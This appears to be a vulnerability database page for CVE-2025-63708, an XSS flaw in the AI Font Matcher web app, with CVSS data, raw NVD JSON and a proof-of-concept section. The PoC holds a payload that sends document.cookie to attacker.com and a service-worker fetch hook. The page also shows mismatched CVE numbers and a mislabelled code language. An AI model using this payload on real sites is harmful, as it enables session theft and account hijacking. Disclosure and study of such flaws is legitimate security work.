CVE-2025-63708

Description

Cross-Site Scripting (XSS) vulnerability exists in SourceCodester AI Font Matcher (nid=18425, 2025-10-10) that allows remote attackers to execute arbitrary JavaScript in victims' browsers. The vulnerability occurs in the webfonts API handling mechanism where font family names are not properly sanitized. An attacker can intercept fetch requests to the webfonts endpoint and inject malicious JavaScript payloads through font family names, resulting in session cookie theft, account hijacking, and unauthorized actions performed on behalf of authenticated users. The vulnerability can be exploited by injecting a fetch hook that returns controlled font data containing malicious scripts.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:remyandrade:ai_font_matcher:2025-10-10:*:*:*:*:*:*:* - VULNERABLE

SourceCodester AI Font Matcher (nid=18425) < 修复版本

AI Font Matcher 使用HTML/CSS/JavaScript的所有版本在2025-10-10之前

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-63708 PoC - XSS via webfonts API
// This PoC demonstrates exploiting the font family name XSS vulnerability

// Step 1: Prepare malicious font data with XSS payload in font family name
const maliciousFontData = {
  family: '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">',
  variants: ['regular'],
  subsets: ['latin']
};

// Step 2: Intercept and hook the fetch request to webfonts endpoint
// This can be done via Service Worker or proxy
self.addEventListener('fetch', (event) => {
  if (event.request.url.includes('/webfonts')) {
    event.respondWith(
      new Response(JSON.stringify({
        fonts: [maliciousFontData]
      }), {
        headers: { 'Content-Type': 'application/json' }
      })
    );
  }
});

// Alternative: Direct injection via URL parameter if reflected
// Target URL: http://vulnerable-site.com/font-matcher?font=<script>malicious_code</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63708
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63708
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63708/
[4] VulDB https://vuldb.com/cve/CVE-2025-63708
[5] https://github.com/DylanDavis1/CVE-2025-64708
[6] https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html
[7] https://github.com/DylanDavis1/CVE-2025-64708

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63708", "sourceIdentifier": "[email protected]", "published": "2025-11-17T16:15:50.327", "lastModified": "2025-11-20T20:27:23.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Scripting (XSS) vulnerability exists in SourceCodester AI Font Matcher (nid=18425, 2025-10-10) that allows remote attackers to execute arbitrary JavaScript in victims' browsers. The vulnerability occurs in the webfonts API handling mechanism where font family names are not properly sanitized. An attacker can intercept fetch requests to the webfonts endpoint and inject malicious JavaScript payloads through font family names, resulting in session cookie theft, account hijacking, and unauthorized actions performed on behalf of authenticated users. The vulnerability can be exploited by injecting a fetch hook that returns controlled font data containing malicious scripts."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:remyandrade:ai_font_matcher:2025-10-10:*:*:*:*:*:*:*", "matchCriteriaId": "B4C595FA-E027-4756-BE4A-84009CB67F21"}]}]}], "references": [{"url": "https://github.com/DylanDavis1/CVE-2025-64708", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/DylanDavis1/CVE-2025-64708", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}